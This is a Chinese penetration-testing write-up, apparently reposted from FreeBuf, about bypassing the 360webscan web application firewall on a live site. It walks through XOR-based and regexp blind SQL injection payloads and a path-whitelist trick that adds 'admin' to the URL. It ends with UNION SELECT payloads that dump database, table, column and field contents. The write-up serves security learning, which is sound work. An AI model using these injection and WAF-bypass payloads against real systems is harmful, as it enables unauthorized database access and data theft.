记一次对WebScan的Bypass

栏目: 数据库 · 发布时间: 7年前

内容简介:今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。

*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

PS:此网站漏洞已被处理,本文内容仅供技术交流,严禁用于非法用途。

前言

今天测试了一个网站,发现存在360webscan的拦截,于是便开始了一波“bypass”。

进入主题

1. 判断注入点

使用“and 1=1”测试了一下,惨遭拦截。随后又测试了一下or也是被拦截的。

记一次对WebScan的Bypass

但是按位异或运算(^)未被拦截也可以使用xor。

“按位异或运算”测试:

在这里先介绍下“按位异或运算”,这种测试注入点的方法最开始是看一位大佬发过,原谅我已经找不到这位大佬的文章了。但是这位大佬并未解释使用这种方法的具体原理是什么,下面我给大家简单介绍一下按位异或运算使用的基本规则:

1^1=0
1^0=1
0^0=0

具体原理参考: https://blog.csdn.net/zpy1998zpy/article/details/80667775

栗子:

记一次对WebScan的Bypass

在这里我们对我们的网站进行测试:

页面正常payload: xxxnid=216^(1=1)^1

记一次对WebScan的Bypass

记一次对WebScan的Bypass

记一次对WebScan的Bypass

3. 使用“按位异或运算”判断一下当前数据库名称的长度:

Payload: xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1

然后我们打开bp,将抓取到的数据包发送到intruder模块,然后把数据库长度值设置为变量。

记一次对WebScan的Bypass

payload type设置为numbers遍历1-15这15个数字。

记一次对WebScan的Bypass

最终我们得到数据库字段的长度为13。

记一次对WebScan的Bypass

4. 使用“按位异或运算”结合盲注来获取数据库名称:

这里我们使用的是regexp正则注入,简单介绍一下:

用法: select user() regexp ‘^[a-z]’;

这里是在匹配用户名的第一位:

记一次对WebScan的Bypass

继续匹配第二位的用法: select user() regexp ‘^r[a-z]’;

类似的盲注方法还有like匹配注入、left()函数、mid()函数、substr()函数等等。

构造Payload: xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1

在这里我们将从数据库的第一个字段开始进行盲注。

记一次对WebScan的Bypass

这里我们使用字典来爆破字段名称,我们指定的字典内容包括常用的大小写字母、特殊符号、数字等。在这里的时候我遇到了个坑,我使用的字典里没加入数字,但是数据库名称里包含数字,导致我爆破到第三个参数的时候就没有结果了,最后发现字典里没把数字加进去,真的是贼菜。

记一次对WebScan的Bypass

爆破出数据库的第一个参数是“p”。

记一次对WebScan的Bypass

依次爆破,最终我们得到了数据库名称。

记一次对WebScan的Bypass

5. 接下来就是构造获取表名的payload了。

我们使用left()函数进行构造,先来看一个的栗子:

select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';

记一次对WebScan的Bypass

由此我们可以构造payload为:

xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1

记一次对WebScan的Bypass

事情并不是一帆风顺的,360webscan再次拦截,经测试,拦截的是from关键字,这就很难受了,测试了很多方法都没有绕过过滤,内联注释、编码、干扰正则等方法都没办法。

将from加上别的字符就不拦截。。

记一次对WebScan的Bypass

6. 最后还是找到了“楼兰”大佬帮忙。

大佬告诉我,360的webscan是可以绕过的,原来360webscan自己有定义一个白名单,只要URL路径中出现了admin等关键字时候就能绕过检测。

后来大佬又给我推荐了一篇文章,讲的是绕过360webscan的原理,这篇文章讲的真好,附上文章链接: https://www.leavesongs.com/penetration/360webscan-bypass.html 。后来我在网上一搜,原来已经有不少前辈研究过这个绕过方法啦,需要学习的东西真的很多,加油!

最后自己也去看了一下360webscan的源码,白名单如下:(代码地址: https://github.com/baiqj/host_manager/tree/master/other/360safe

记一次对WebScan的Bypass

再次构造payload: xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -

记一次对WebScan的Bypass

记一次对WebScan的Bypass

7. 接下来就好说了,都是常规操作了

这里我们先看一下当前数据库名称,可以看到,和我们之前盲注得到的数据库名称是一致的。

Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -

记一次对WebScan的Bypass

接下来是爆出所有的表名:

Payload: xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -

记一次对WebScan的Bypass

爆出所有字段名称:

Payload: xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -

记一次对WebScan的Bypass

爆字段内容:

Payload: xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -

记一次对WebScan的Bypass

总结

1. 使用“按位异或运算”来判断注入点,绕过一些过滤了and、or等一些关键字的waf,真的是非常不错的姿势。
2. 我们在一个页面找不到可显字段的时候,可以换几个页面试一下,也可以将前面参数id值改为负,这样都可以让可显字段回显到页面上。
3. 最后一点,就是最后通过在路径中添加白名单关键字“admin”绕过网站的防护,这个思路真的非常棒。

*本文作者:GGyao6,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


以上所述就是小编给大家介绍的《记一次对WebScan的Bypass》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Code Reading

Code Reading

Diomidis Spinellis / Addison-Wesley Professional / 2003-06-06 / USD 64.99

This book is a unique and essential reference that focuses upon the reading and comprehension of existing software code. While code reading is an important task faced by the vast majority of students,......一起来看看 《Code Reading》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

随机密码生成器
随机密码生成器

多种字符组合密码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具